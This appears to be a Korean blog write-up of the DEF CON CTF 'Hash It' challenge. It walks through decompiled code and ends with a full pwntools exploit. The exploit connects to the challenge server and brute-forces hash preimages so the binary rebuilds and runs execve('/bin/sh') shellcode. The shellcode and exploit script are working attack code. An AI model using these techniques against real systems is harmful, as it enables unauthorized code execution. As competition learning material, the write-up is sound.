Sechack

DEF CON CTF - Hash It 풀이 본문

CTF

DEF CON CTF - Hash It 풀이

Sechack 2022. 5. 30. 18:04
반응형

이번엔 데프콘에 참여해보았다. 100솔버가 넘는 쉬운 날먹 문제긴 했는데 다른 문제는 접근조차 제대로 되지 않았다.

 

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  unsigned int v3; // er12
  void *v4; // rax
  const void *v5; // r15
  unsigned int v6; // er14
  unsigned int v7; // esi
  unsigned int v8; // ebx
  __int64 v9; // rbp
  void *v11; // rax
  void (*v12)(void); // rax
  char v13; // [rsp+Bh] [rbp-3Dh] BYREF
  unsigned int v14[15]; // [rsp+Ch] [rbp-3Ch] BYREF

  alarm(0xAu);
  v14[0] = 0;
  if ( !(unsigned int)sub_13E0(stdin, (__int64)v14, 4uLL) )
  {
    v14[0] = _byteswap_ulong(v14[0]);
    v3 = v14[0];
    v4 = malloc(v14[0]);
    v5 = v4;
    if ( v4 )
    {
      v6 = sub_13E0(stdin, (__int64)v4, v3);
      if ( !v6 )
      {
        v7 = v14[0];
        if ( !v14[0] )
        {
LABEL_10:
          v11 = mmap(0LL, v7 >> 1, 7, 34, -1, 0LL);
          v12 = (void (*)(void))memcpy(v11, v5, v14[0] >> 1);
          v12();
          return v6;
        }
        v8 = 0;
        while ( 1 )
        {
          v9 = v8 >> 1;
          if ( (unsigned int)sub_1320(
                               *((_BYTE *)v5 + v8),
                               *((_BYTE *)v5 + v8 + 1),
                               &v13,
                               (__int64 (*)(void))*(&off_40A0 + ((v8 >> 1) & 3))) )
            break;
          v7 = v14[0];
          v8 += 2;
          *((_BYTE *)v5 + v9) = v13;
          if ( v7 <= v8 )
            goto LABEL_10;
        }
      }
    }
  }
  return (unsigned int)-1;
}

 

IDA로 보면 size를 입력받고 바이트 순서를 바꿔버린다. 따라서 0x50000000을 입력하면 size는 0x50으로 들어가게 된다.

그리고 malloc으로 heap chunk하나를 할당받고 size만큼 입력을 받는다. 그 아래 if문의 조건을 만족시키면 mmap으로 실행권한이 있는 메모리 공간을 할당받고 우리가 입력한 값을 memcpy로 해당 메모리에 복사합니다. 그리고 해당 주소를 호출합니다. 따라서 mmap으로 할당받은 공간에 Shellcode를 넣어야 합니다. 하지만 if문은 size가 0이어야 만족되니까 만족시킬 수 없습니다. 따라서 그 밑에 while문으로 빠지게 됩니다.

 

__int64 __fastcall sub_1320(char a1, char a2, _BYTE *a3, __int64 (*a4)(void))
{
  __int64 v6; // rax
  __int64 v7; // rbp
  __int64 v8; // rax
  __int64 v9; // rax
  int v10; // eax
  _BYTE *v11; // rax
  _BYTE *v12; // r12
  char v14[2]; // [rsp+Ah] [rbp-1Eh] BYREF
  int v15[7]; // [rsp+Ch] [rbp-1Ch] BYREF

  v14[0] = a1;
  v14[1] = a2;
  v6 = EVP_MD_CTX_new();
  if ( !v6 )
    return 0xFFFFFFFFLL;
  v7 = v6;
  v8 = a4();
  if ( (unsigned int)EVP_DigestInit_ex(v7, v8, 0LL) != 1 )
    return 0xFFFFFFFFLL;
  if ( (unsigned int)EVP_DigestUpdate(v7, v14, 2LL) != 1 )
    return 0xFFFFFFFFLL;
  v9 = a4();
  v10 = EVP_MD_size(v9);
  v11 = malloc(v10);
  v12 = v11;
  if ( !v11 )
    return 0xFFFFFFFFLL;
  v15[0] = 0;
  if ( (unsigned int)EVP_DigestFinal_ex(v7, v11, v15) != 1 )
    return 0xFFFFFFFFLL;
  EVP_MD_CTX_free(v7);
  *a3 = *v12;
  free(v12);
  return 0LL;
}

 

while문에서 호출하는 함수를 보면 해싱을 하는 함수입니다.

 

        while ( 1 )
        {
          v9 = v8 >> 1;
          if ( (unsigned int)sub_1320(
                               *((_BYTE *)v5 + v8),
                               *((_BYTE *)v5 + v8 + 1),
                               &v13,
                               (__int64 (*)(void))*(&off_40A0 + ((v8 >> 1) & 3))) )
            break;
          v7 = v14[0];
          v8 += 2;
          *((_BYTE *)v5 + v9) = v13;
          if ( v7 <= v8 )
            goto LABEL_10;
        }

 

 

while문을 다시 보면 sub_1320함수의 4번째 인자로 아래의 사진과 같이 사용될 해시 함수가 전달되는것을 볼 수 있습니다.

 

 

(v8 >> 1) & 3번째 인덱스에 있는 해시함수를 전달합니다. 첫번째, 두번째 인자로는 현재 인덱스와 현재 인덱스 + 1의 문자를 전달하고 해싱 함수에서는 그걸 합쳐서 해싱합니다. 그리고 함수가 호출된 후를 보면 해시의 가장 첫 byte를 우리가 할당받은 heap chunk에 차례대로 넣습니다. 그러면 결과적으론 우리가 입력한 값이 2byte씩 해싱되어서 재할당 되게 되는 것이고 while문을 탈출하면 Shellcode를 실행할 수 있는 곳으로 돌아가니까 원하는 Shellcode를 넣기 위해선 2byte를 해싱했을때 첫번째 바이트가 원하는 값이 나오도록 세팅해줘야 합니다. 간단하게 \x00\x00부터 \xff\xff까지 brute force를 돌려서 어떤 값을 넣어야 원하는 값이 나오는지 찾을 수 있습니다.

 

from pwn import *
import hashlib

#r = process("./defcon")
r = remote("hash-it-0-m7tt7b7whagjw.shellweplayaga.me", 31337)

r.sendlineafter("Ticket please: ", "ticket{JetstreamBoom1771n22:47hLsVkYPSfg3EQCU4eIdVAwj_d_FGnyks1ZwP4Rf23KQZqN}")

def hashing(num, msg):
    if num == 0:
        return hashlib.md5(msg).hexdigest()
    elif num == 1:
        return hashlib.sha1(msg).hexdigest()
    elif num == 2:
        return hashlib.sha256(msg).hexdigest()
    elif num == 3:
        return hashlib.sha512(msg).hexdigest()

def findhash(value, idx):
    for i in range(0x100):
        for j in range(0x100):
            data = hashing((idx >> 1) & 3, i.to_bytes(1, byteorder="little")+j.to_bytes(1, byteorder="little"))
            if int(data[:2], 16) == value:
                return i.to_bytes(1, byteorder="little")+j.to_bytes(1, byteorder="little")

def findfirst(value, idx):
    for i in range(0x100):
        data = hashing((idx >> 1) & 3, b"\x0a"+i.to_bytes(1, byteorder="little"))
        if int(data[:2], 16) == value:
                return i.to_bytes(1, byteorder="little")

shellcode = b"\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = b""

idx = 2
payload += findfirst(0x31, 0)
for i in list(shellcode):
    payload += findhash(i, idx)
    idx += 2

r.sendline(p32(0x2e000000))
r.sendline(payload)

r.interactive()

 

 

이상하게 입력의 맨 첫번째에 \n이 들어가길래 그거 아다리 맞춰줬습니다.

반응형
Comments